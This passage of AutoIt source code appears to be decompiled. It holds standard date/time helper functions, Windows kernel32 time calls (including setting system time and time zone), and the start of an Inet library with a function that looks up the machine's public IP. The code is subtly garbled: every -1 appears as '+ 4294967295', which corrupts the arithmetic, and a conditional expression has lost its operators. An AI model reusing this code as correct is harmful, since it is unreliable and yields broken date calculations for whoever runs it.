IF STRINGISINT ($IHOURS ) AND STRINGISINT ($IMINS ) AND STRINGISINT ($ISECS ) THEN
LOCAL $ITICKS = 1000 * ((3600 * $IHOURS ) + (60 * $IMINS ) + $ISECS )
RETURN $ITICKS
ELSE
RETURN SETERROR (1 , 0 , 0 )
ENDIF
ENDFUNC
FUNC _WEEKNUMBERISO ($IYEAR = @YEAR , $IMONTH = @MON , $IDAY = @MDAY )
IF $IDAY > 31 OR $IDAY < 1 THEN
RETURN SETERROR (1 , 0 , + 4294967295 )
ELSEIF NOT __DATEISMONTH ($IMONTH ) THEN
RETURN SETERROR (2 , 0 , + 4294967295 )
ELSEIF $IYEAR < 1 OR $IYEAR > 2999 THEN
RETURN SETERROR (3 , 0 , + 4294967295 )
ENDIF
LOCAL $IDOW = _DATETODAYOFWEEKISO ($IYEAR , $IMONTH , $IDAY ) + 4294967295
LOCAL $IDOW0101 = _DATETODAYOFWEEKISO ($IYEAR , 1 , 1 ) + 4294967295
IF ($IMONTH = 1 AND 3 < $IDOW0101 AND $IDOW0101 < 7 - ($IDAY + 4294967295 ) ) THEN
$IDOW = $IDOW0101 + 4294967295
$IDOW0101 = _DATETODAYOFWEEKISO ($IYEAR + 4294967295 , 1 , 1 ) + 4294967295
$IMONTH = 12
$IDAY = 31
$IYEAR = $IYEAR + 4294967295
ELSEIF ($IMONTH = 12 AND 30 - ($IDAY + 4294967295 ) < _DATETODAYOFWEEKISO ($IYEAR + 1 , 1 , 1 ) + 4294967295 AND _DATETODAYOFWEEKISO ($IYEAR + 1 , 1 , 1 ) + 4294967295 < 4 ) THEN
RETURN 1
ENDIF
RETURN INT ((_DATETODAYOFWEEKISO ($IYEAR , 1 , 1 ) + 4294967295 < 4 ) + 4 * ($IMONTH + 4294967295 ) + (2 * ($IMONTH + 4294967295 ) + ($IDAY + 4294967295 ) + $IDOW0101 - $IDOW + 6 ) * 36 / 256 )
ENDFUNC
FUNC _WEEKNUMBER ($IYEAR = @YEAR , $IMONTH = @MON , $IDAY = @MDAY , $IWEEKSTART = 1 )
IF $IDAY > 31 OR $IDAY < 1 THEN
RETURN SETERROR (1 , 0 , + 4294967295 )
ELSEIF NOT __DATEISMONTH ($IMONTH ) THEN
RETURN SETERROR (3 , 0 , + 4294967295 )
ELSEIF $IYEAR < 1 OR $IYEAR > 2999 THEN
RETURN SETERROR (4 , 0 , + 4294967295 )
ELSEIF $IWEEKSTART < 1 OR $IWEEKSTART > 2 THEN
RETURN SETERROR (2 , 0 , + 4294967295 )
ENDIF
LOCAL $ISTARTWEEK1 , $IENDWEEK1
LOCAL $IDOW0101 = _DATETODAYOFWEEKISO ($IYEAR , 1 , 1 )
LOCAL $IDATE = $IYEAR & "/" & $IMONTH & "/" & $IDAY
IF $IWEEKSTART = 1 THEN
IF $IDOW0101 = 6 THEN
$ISTARTWEEK1 = 0
ELSE
$ISTARTWEEK1 = + 4294967295 * $IDOW0101 + 4294967295
ENDIF
$IENDWEEK1 = $ISTARTWEEK1 + 6
ELSE
$ISTARTWEEK1 = $IDOW0101 * + 4294967295
$IENDWEEK1 = $ISTARTWEEK1 + 6
ENDIF
LOCAL $ISTARTWEEK1NY
LOCAL $IENDWEEK1DATE = _DATEADD ("d" , $IENDWEEK1 , $IYEAR & "/01/01" )
LOCAL $IDOW0101NY = _DATETODAYOFWEEKISO ($IYEAR + 1 , 1 , 1 )
IF $IWEEKSTART = 1 THEN
IF $IDOW0101NY = 6 THEN
$ISTARTWEEK1NY = 0
ELSE
$ISTARTWEEK1NY = + 4294967295 * $IDOW0101NY + 4294967295
ENDIF
ELSE
$ISTARTWEEK1NY = $IDOW0101NY * + 4294967295
ENDIF
LOCAL $ISTARTWEEK1DATENY = _DATEADD ("d" , $ISTARTWEEK1NY , $IYEAR + 1 & "/01/01" )
LOCAL $ICURRDATEDIFF = _DATEDIFF ("d" , $IENDWEEK1DATE , $IDATE ) + 4294967295
LOCAL $ICURRDATEDIFFNY = _DATEDIFF ("d" , $ISTARTWEEK1DATENY , $IDATE )
IF $ICURRDATEDIFF >= 0 AND $ICURRDATEDIFFNY < 0 THEN RETURN 2 + INT ($ICURRDATEDIFF / 7 )
IF $ICURRDATEDIFF < 0 OR $ICURRDATEDIFFNY >= 0 THEN RETURN 1
ENDFUNC
FUNC _DAYSINMONTH ($IYEAR )
LOCAL $ADAYS = [12 , 31 , (_DATEISLEAPYEAR ($IYEAR ) 29 28 ) , 31 , 30 , 31 , 30 , 31 , 31 , 30 , 31 , 30 , 31 ]
RETURN $ADAYS
ENDFUNC
FUNC __DATE_TIME_CLONESYSTEMTIME ($PSYSTEMTIME )
LOCAL $TSYSTEMTIME1 = DLLSTRUCTCREATE ($TAGSYSTEMTIME , $PSYSTEMTIME )
LOCAL $TSYSTEMTIME2 = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Month" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Month" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Day" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Day" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Year" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Year" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Hour" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Hour" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Minute" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Minute" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "Second" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "Second" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "MSeconds" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "MSeconds" ) )
DLLSTRUCTSETDATA ($TSYSTEMTIME2 , "DOW" , DLLSTRUCTGETDATA ($TSYSTEMTIME1 , "DOW" ) )
RETURN $TSYSTEMTIME2
ENDFUNC
FUNC _DATE_TIME_COMPAREFILETIME ($TFILETIME1 , $TFILETIME2 )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "long" , "CompareFileTime" , "struct*" , $TFILETIME1 , "struct*" , $TFILETIME2 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _DATE_TIME_DOSDATETIMETOFILETIME ($IFATDATE , $IFATTIME )
LOCAL $TTIME = DLLSTRUCTCREATE ($TAGFILETIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "DosDateTimeToFileTime" , "word" , $IFATDATE , "word" , $IFATTIME , "struct*" , $TTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TTIME )
ENDFUNC
FUNC _DATE_TIME_DOSDATETOARRAY ($IDOSDATE )
LOCAL $ADATE [3 ]
$ADATE [0 ] = BITAND ($IDOSDATE , 31 )
$ADATE [1 ] = BITAND (BITSHIFT ($IDOSDATE , 5 ) , 15 )
$ADATE [2 ] = BITAND (BITSHIFT ($IDOSDATE , 9 ) , 63 ) + 1980
RETURN $ADATE
ENDFUNC
FUNC _DATE_TIME_DOSDATETIMETOARRAY ($IDOSDATE , $IDOSTIME )
LOCAL $ADATE [6 ]
$ADATE [0 ] = BITAND ($IDOSDATE , 31 )
$ADATE [1 ] = BITAND (BITSHIFT ($IDOSDATE , 5 ) , 15 )
$ADATE [2 ] = BITAND (BITSHIFT ($IDOSDATE , 9 ) , 63 ) + 1980
$ADATE [5 ] = BITAND ($IDOSTIME , 31 ) * 2
$ADATE [4 ] = BITAND (BITSHIFT ($IDOSTIME , 5 ) , 63 )
$ADATE [3 ] = BITAND (BITSHIFT ($IDOSTIME , 11 ) , 31 )
RETURN $ADATE
ENDFUNC
FUNC _DATE_TIME_DOSDATETIMETOSTR ($IDOSDATE , $IDOSTIME )
LOCAL $ADATE = _DATE_TIME_DOSDATETIMETOARRAY ($IDOSDATE , $IDOSTIME )
RETURN STRINGFORMAT ("%02d/%02d/%04d %02d:%02d:%02d" , $ADATE [0 ] , $ADATE [1 ] , $ADATE [2 ] , $ADATE [3 ] , $ADATE [4 ] , $ADATE [5 ] )
ENDFUNC
FUNC _DATE_TIME_DOSDATETOSTR ($IDOSDATE )
LOCAL $ADATE = _DATE_TIME_DOSDATETOARRAY ($IDOSDATE )
RETURN STRINGFORMAT ("%02d/%02d/%04d" , $ADATE [0 ] , $ADATE [1 ] , $ADATE [2 ] )
ENDFUNC
FUNC _DATE_TIME_DOSTIMETOARRAY ($IDOSTIME )
LOCAL $ATIME [3 ]
$ATIME [2 ] = BITAND ($IDOSTIME , 31 ) * 2
$ATIME [1 ] = BITAND (BITSHIFT ($IDOSTIME , 5 ) , 63 )
$ATIME [0 ] = BITAND (BITSHIFT ($IDOSTIME , 11 ) , 31 )
RETURN $ATIME
ENDFUNC
FUNC _DATE_TIME_DOSTIMETOSTR ($IDOSTIME )
LOCAL $ATIME = _DATE_TIME_DOSTIMETOARRAY ($IDOSTIME )
RETURN STRINGFORMAT ("%02d:%02d:%02d" , $ATIME [0 ] , $ATIME [1 ] , $ATIME [2 ] )
ENDFUNC
FUNC _DATE_TIME_ENCODEFILETIME ($IMONTH , $IDAY , $IYEAR , $IHOUR = 0 , $IMINUTE = 0 , $ISECOND = 0 , $IMSECONDS = 0 )
LOCAL $TSYSTEMTIME = _DATE_TIME_ENCODESYSTEMTIME ($IMONTH , $IDAY , $IYEAR , $IHOUR , $IMINUTE , $ISECOND , $IMSECONDS )
RETURN _DATE_TIME_SYSTEMTIMETOFILETIME ($TSYSTEMTIME )
ENDFUNC
FUNC _DATE_TIME_ENCODESYSTEMTIME ($IMONTH , $IDAY , $IYEAR , $IHOUR = 0 , $IMINUTE = 0 , $ISECOND = 0 , $IMSECONDS = 0 )
LOCAL $TSYSTEMTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Month" , $IMONTH )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Day" , $IDAY )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Year" , $IYEAR )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Hour" , $IHOUR )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Minute" , $IMINUTE )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "Second" , $ISECOND )
DLLSTRUCTSETDATA ($TSYSTEMTIME , "MSeconds" , $IMSECONDS )
RETURN $TSYSTEMTIME
ENDFUNC
FUNC _DATE_TIME_FILETIMETOARRAY (BYREF $TFILETIME )
IF ((DLLSTRUCTGETDATA ($TFILETIME , 1 ) + DLLSTRUCTGETDATA ($TFILETIME , 2 ) ) = 0 ) THEN RETURN SETERROR (10 , 0 , 0 )
LOCAL $TSYSTEMTIME = _DATE_TIME_FILETIMETOSYSTEMTIME ($TFILETIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME )
ENDFUNC
FUNC _DATE_TIME_FILETIMETOSTR (BYREF $TFILETIME , $IFMT = 0 )
LOCAL $ADATE = _DATE_TIME_FILETIMETOARRAY ($TFILETIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $IFMT THEN
RETURN STRINGFORMAT ("%04d/%02d/%02d %02d:%02d:%02d" , $ADATE [2 ] , $ADATE [0 ] , $ADATE [1 ] , $ADATE [3 ] , $ADATE [4 ] , $ADATE [5 ] )
ELSE
RETURN STRINGFORMAT ("%02d/%02d/%04d %02d:%02d:%02d" , $ADATE [0 ] , $ADATE [1 ] , $ADATE [2 ] , $ADATE [3 ] , $ADATE [4 ] , $ADATE [5 ] )
ENDIF
ENDFUNC
FUNC _DATE_TIME_FILETIMETODOSDATETIME ($TFILETIME )
LOCAL $ADATE [2 ]
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FileTimeToDosDateTime" , "struct*" , $TFILETIME , "word*" , 0 , "word*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , $ADATE )
$ADATE [0 ] = $ARESULT [2 ]
$ADATE [1 ] = $ARESULT [3 ]
RETURN SETEXTENDED ($ARESULT [0 ] , $ADATE )
ENDFUNC
FUNC _DATE_TIME_FILETIMETOLOCALFILETIME ($TFILETIME )
LOCAL $TLOCAL = DLLSTRUCTCREATE ($TAGFILETIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FileTimeToLocalFileTime" , "struct*" , $TFILETIME , "struct*" , $TLOCAL )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TLOCAL )
ENDFUNC
FUNC _DATE_TIME_FILETIMETOSYSTEMTIME ($TFILETIME )
LOCAL $TSYSTTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "FileTimeToSystemTime" , "struct*" , $TFILETIME , "struct*" , $TSYSTTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TSYSTTIME )
ENDFUNC
FUNC _DATE_TIME_GETFILETIME ($HFILE )
LOCAL $ADATE [3 ]
$ADATE [0 ] = DLLSTRUCTCREATE ($TAGFILETIME )
$ADATE [1 ] = DLLSTRUCTCREATE ($TAGFILETIME )
$ADATE [2 ] = DLLSTRUCTCREATE ($TAGFILETIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GetFileTime" , "handle" , $HFILE , "struct*" , $ADATE [0 ] , "struct*" , $ADATE [1 ] , "struct*" , $ADATE [2 ] )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $ADATE )
ENDFUNC
FUNC _DATE_TIME_GETLOCALTIME ()
LOCAL $TSYSTTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLCALL ("kernel32.dll" , "none" , "GetLocalTime" , "struct*" , $TSYSTTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $TSYSTTIME
ENDFUNC
FUNC _DATE_TIME_GETSYSTEMTIME ()
LOCAL $TSYSTTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
DLLCALL ("kernel32.dll" , "none" , "GetSystemTime" , "struct*" , $TSYSTTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $TSYSTTIME
ENDFUNC
FUNC _DATE_TIME_GETSYSTEMTIMEADJUSTMENT ()
LOCAL $AINFO [3 ]
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GetSystemTimeAdjustment" , "dword*" , 0 , "dword*" , 0 , "bool*" , 0 )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
$AINFO [0 ] = $ARESULT [1 ]
$AINFO [1 ] = $ARESULT [2 ]
$AINFO [2 ] = $ARESULT [3 ] <> 0
RETURN SETEXTENDED ($ARESULT [0 ] , $AINFO )
ENDFUNC
FUNC _DATE_TIME_GETSYSTEMTIMEASFILETIME ()
LOCAL $TFILETIME = DLLSTRUCTCREATE ($TAGFILETIME )
DLLCALL ("kernel32.dll" , "none" , "GetSystemTimeAsFileTime" , "struct*" , $TFILETIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $TFILETIME
ENDFUNC
FUNC _DATE_TIME_GETSYSTEMTIMES ()
LOCAL $AINFO [3 ]
$AINFO [0 ] = DLLSTRUCTCREATE ($TAGFILETIME )
$AINFO [1 ] = DLLSTRUCTCREATE ($TAGFILETIME )
$AINFO [2 ] = DLLSTRUCTCREATE ($TAGFILETIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "GetSystemTimes" , "struct*" , $AINFO [0 ] , "struct*" , $AINFO [1 ] , "struct*" , $AINFO [2 ] )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $AINFO )
ENDFUNC
FUNC _DATE_TIME_GETTICKCOUNT ()
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "GetTickCount" )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _DATE_TIME_GETTIMEZONEINFORMATION ()
LOCAL $TTIMEZONE = DLLSTRUCTCREATE ($TAGTIME_ZONE_INFORMATION )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "dword" , "GetTimeZoneInformation" , "struct*" , $TTIMEZONE )
IF @ERROR OR $ARESULT [0 ] = + 4294967295 THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
LOCAL $AINFO [8 ]
$AINFO [0 ] = $ARESULT [0 ]
$AINFO [1 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "Bias" )
$AINFO [2 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "StdName" )
$AINFO [3 ] = __DATE_TIME_CLONESYSTEMTIME (DLLSTRUCTGETPTR ($TTIMEZONE , "StdDate" ) )
$AINFO [4 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "StdBias" )
$AINFO [5 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "DayName" )
$AINFO [6 ] = __DATE_TIME_CLONESYSTEMTIME (DLLSTRUCTGETPTR ($TTIMEZONE , "DayDate" ) )
$AINFO [7 ] = DLLSTRUCTGETDATA ($TTIMEZONE , "DayBias" )
RETURN $AINFO
ENDFUNC
FUNC _DATE_TIME_LOCALFILETIMETOFILETIME ($TLOCALTIME )
LOCAL $TFILETIME = DLLSTRUCTCREATE ($TAGFILETIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "LocalFileTimeToFileTime" , "struct*" , $TLOCALTIME , "struct*" , $TFILETIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TFILETIME )
ENDFUNC
FUNC _DATE_TIME_SETFILETIME ($HFILE , $TCREATETIME , $TLASTACCESS , $TLASTWRITE )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetFileTime" , "handle" , $HFILE , "struct*" , $TCREATETIME , "struct*" , $TLASTACCESS , "struct*" , $TLASTWRITE )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _DATE_TIME_SETLOCALTIME ($TSYSTEMTIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetLocalTime" , "struct*" , $TSYSTEMTIME )
IF @ERROR OR NOT $ARESULT [0 ] THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE )
$ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetLocalTime" , "struct*" , $TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _DATE_TIME_SETSYSTEMTIME ($TSYSTEMTIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetSystemTime" , "struct*" , $TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , FALSE )
RETURN $ARESULT [0 ]
ENDFUNC
FUNC _DATE_TIME_SETSYSTEMTIMEADJUSTMENT ($IADJUSTMENT , $BDISABLED )
LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR ($TOKEN_ADJUST_PRIVILEGES , $TOKEN_QUERY ) )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE )
_SECURITY__SETPRIVILEGE ($HTOKEN , "SeSystemtimePrivilege" , TRUE )
LOCAL $IERROR = @ERROR
LOCAL $ILASTERROR = @EXTENDED
LOCAL $BRET = FALSE
IF NOT @ERROR THEN
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetSystemTimeAdjustment" , "dword" , $IADJUSTMENT , "bool" , $BDISABLED )
IF @ERROR THEN
$IERROR = @ERROR
$ILASTERROR = @EXTENDED
ELSEIF $ARESULT [0 ] THEN
$BRET = TRUE
ELSE
$IERROR = 20
$ILASTERROR = _WINAPI_GETLASTERROR ()
ENDIF
_SECURITY__SETPRIVILEGE ($HTOKEN , "SeSystemtimePrivilege" , FALSE )
IF NOT $IERROR AND @ERROR THEN $IERROR = 22
ENDIF
_WINAPI_CLOSEHANDLE ($HTOKEN )
RETURN SETERROR ($IERROR , $ILASTERROR , $BRET )
ENDFUNC
FUNC _DATE_TIME_SETTIMEZONEINFORMATION ($IBIAS , $SSTDNAME , $TSTDDATE , $ISTDBIAS , $SDAYNAME , $TDAYDATE , $IDAYBIAS )
LOCAL $TZONEINFO = DLLSTRUCTCREATE ($TAGTIME_ZONE_INFORMATION )
DLLSTRUCTSETDATA ($TZONEINFO , "Bias" , $IBIAS )
DLLSTRUCTSETDATA ($TZONEINFO , "StdName" , $SSTDNAME )
_MEMMOVEMEMORY ($TSTDDATE , DLLSTRUCTGETPTR ($TZONEINFO , "StdDate" ) , DLLSTRUCTGETSIZE ($TSTDDATE ) )
DLLSTRUCTSETDATA ($TZONEINFO , "StdBias" , $ISTDBIAS )
DLLSTRUCTSETDATA ($TZONEINFO , "DayName" , $SDAYNAME )
_MEMMOVEMEMORY ($TDAYDATE , DLLSTRUCTGETPTR ($TZONEINFO , "DayDate" ) , DLLSTRUCTGETSIZE ($TDAYDATE ) )
DLLSTRUCTSETDATA ($TZONEINFO , "DayBias" , $IDAYBIAS )
LOCAL $HTOKEN = _SECURITY__OPENTHREADTOKENEX (BITOR ($TOKEN_ADJUST_PRIVILEGES , $TOKEN_QUERY ) )
IF @ERROR THEN RETURN SETERROR (@ERROR + 10 , @EXTENDED , FALSE )
_SECURITY__SETPRIVILEGE ($HTOKEN , "SeTimeZonePrivilege" , TRUE )
LOCAL $IERROR = @ERROR
LOCAL $ILASTERROR = @EXTENDED
LOCAL $BRET = FALSE
IF NOT @ERROR THEN
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SetTimeZoneInformation" , "struct*" , $TZONEINFO )
IF @ERROR THEN
$IERROR = @ERROR
$ILASTERROR = @EXTENDED
ELSEIF $ARESULT [0 ] THEN
$ILASTERROR = 0
$BRET = TRUE
ELSE
$IERROR = 20
$ILASTERROR = _WINAPI_GETLASTERROR ()
ENDIF
_SECURITY__SETPRIVILEGE ($HTOKEN , "SeTimeZonePrivilege" , FALSE )
IF NOT $IERROR AND @ERROR THEN $IERROR = 22
ENDIF
_WINAPI_CLOSEHANDLE ($HTOKEN )
RETURN SETERROR ($IERROR , $ILASTERROR , $BRET )
ENDFUNC
FUNC _DATE_TIME_SYSTEMTIMETOARRAY (BYREF $TSYSTEMTIME )
LOCAL $AINFO [8 ]
$AINFO [0 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Month" )
$AINFO [1 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Day" )
$AINFO [2 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Year" )
$AINFO [3 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Hour" )
$AINFO [4 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Minute" )
$AINFO [5 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "Second" )
$AINFO [6 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "MSeconds" )
$AINFO [7 ] = DLLSTRUCTGETDATA ($TSYSTEMTIME , "DOW" )
RETURN $AINFO
ENDFUNC
FUNC _DATE_TIME_SYSTEMTIMETODATESTR (BYREF $TSYSTEMTIME , $IFMT = 0 )
LOCAL $AINFO = _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $IFMT THEN
RETURN STRINGFORMAT ("%04d/%02d/%02d" , $AINFO [2 ] , $AINFO [0 ] , $AINFO [1 ] )
ELSE
RETURN STRINGFORMAT ("%02d/%02d/%04d" , $AINFO [0 ] , $AINFO [1 ] , $AINFO [2 ] )
ENDIF
ENDFUNC
FUNC _DATE_TIME_SYSTEMTIMETODATETIMESTR (BYREF $TSYSTEMTIME , $IFMT = 0 )
LOCAL $AINFO = _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , "" )
IF $IFMT THEN
RETURN STRINGFORMAT ("%04d/%02d/%02d %02d:%02d:%02d" , $AINFO [2 ] , $AINFO [0 ] , $AINFO [1 ] , $AINFO [3 ] , $AINFO [4 ] , $AINFO [5 ] )
ELSE
RETURN STRINGFORMAT ("%02d/%02d/%04d %02d:%02d:%02d" , $AINFO [0 ] , $AINFO [1 ] , $AINFO [2 ] , $AINFO [3 ] , $AINFO [4 ] , $AINFO [5 ] )
ENDIF
ENDFUNC
FUNC _DATE_TIME_SYSTEMTIMETOFILETIME ($TSYSTEMTIME )
LOCAL $TFILETIME = DLLSTRUCTCREATE ($TAGFILETIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SystemTimeToFileTime" , "struct*" , $TSYSTEMTIME , "struct*" , $TFILETIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TFILETIME )
ENDFUNC
FUNC _DATE_TIME_SYSTEMTIMETOTIMESTR (BYREF $TSYSTEMTIME )
LOCAL $AINFO = _DATE_TIME_SYSTEMTIMETOARRAY ($TSYSTEMTIME )
RETURN STRINGFORMAT ("%02d:%02d:%02d" , $AINFO [3 ] , $AINFO [4 ] , $AINFO [5 ] )
ENDFUNC
FUNC _DATE_TIME_SYSTEMTIMETOTZSPECIFICLOCALTIME ($TUTC , $TTIMEZONE = 0 )
LOCAL $TLOCALTIME = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "SystemTimeToTzSpecificLocalTime" , "struct*" , $TTIMEZONE , "struct*" , $TUTC , "struct*" , $TLOCALTIME )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TLOCALTIME )
ENDFUNC
FUNC _DATE_TIME_TZSPECIFICLOCALTIMETOSYSTEMTIME ($TLOCALTIME , $TTIMEZONE = 0 )
LOCAL $TUTC = DLLSTRUCTCREATE ($TAGSYSTEMTIME )
LOCAL $ARESULT = DLLCALL ("kernel32.dll" , "bool" , "TzSpecificLocalTimeToSystemTime" , "struct*" , $TTIMEZONE , "struct*" , $TLOCALTIME , "struct*" , $TUTC )
IF @ERROR THEN RETURN SETERROR (@ERROR , @EXTENDED , 0 )
RETURN SETEXTENDED ($ARESULT [0 ] , $TUTC )
ENDFUNC
GLOBAL CONST $INET_LOCALCACHE = 0
GLOBAL CONST $INET_FORCERELOAD = 1
GLOBAL CONST $INET_IGNORESSL = 2
GLOBAL CONST $INET_ASCIITRANSFER = 4
GLOBAL CONST $INET_BINARYTRANSFER = 8
GLOBAL CONST $INET_FORCEBYPASS = 16
GLOBAL CONST $INET_DOWNLOADWAIT = 0
GLOBAL CONST $INET_DOWNLOADBACKGROUND = 1
GLOBAL CONST $INET_DOWNLOADREAD = 0
GLOBAL CONST $INET_DOWNLOADSIZE = 1
GLOBAL CONST $INET_DOWNLOADCOMPLETE = 2
GLOBAL CONST $INET_DOWNLOADSUCCESS = 3
GLOBAL CONST $INET_DOWNLOADERROR = 4
GLOBAL CONST $INET_DOWNLOADEXTENDED = 5
FUNC _GETIP ()
LOCAL CONST $GETIP_TIMER = 300000
LOCAL STATIC $HTIMER = 0
LOCAL STATIC $SLASTIP = 0
IF TIMERDIFF ($HTIMER ) < $GETIP_TIMER AND NOT $SLASTIP THEN
RETURN SETEXTENDED (1 , $SLASTIP )
ENDIF
LOCAL $AGETIPURL = ["https://api.ipify.org" , "http://checkip.dyndns.org" , "http://www.myexternalip.com/raw" , "http://bot.whatismyipaddress.com" ] , $ARETURN = 0 , $SRETURN = ""
FOR $I = 0 TO UBOUND ($AGETIPURL ) + 4294967295
$SRETURN = INETREAD ($AGETIPURL [$I ] )
IF @ERROR OR $SRETURN == "" THEN CONTINUELOOP
$ARETURN = STRINGREGEXP (BINARYTOSTRING ($SRETURN ) , "((?:\d{1,3}\.){3}\d{1,3})" , $STR_REGEXPARRAYGLOBALMATCH )
IF NOT @ERROR THEN
$SRETURN = $ARETURN [0 ]
EXITLOOP
ENDIF
$SRETURN = ""
NEXT
$HTIMER = TIMERINIT ()
$SLASTIP = $SRETURN
IF $SRETURN == "" THEN RETURN SETERROR (1 , 0 , + 4294967295 )
RETURN $SRETURN
ENDFUNC
FUNC _INETEXPLORERCAPABLE ($SIESTRING )
IF STRINGLEN ($SIESTRING ) <= 0 THEN RETURN SETERROR (1 , 0 , "" )
LOCAL $S_IERETURN
LOCAL $N_IECHAR
FOR $I_IECOUNT = 1 TO STRINGLEN ($SIESTRING )
$N_IECHAR = "0x" & HEX (ASC (STRINGMID ($SIESTRING , $I_IECOUNT , 1 ) ) , 2 )
IF $N_IECHAR < 33 OR $N_IECHAR = 37 OR $N_IECHAR = 47 OR $N_IECHAR > 127 THEN
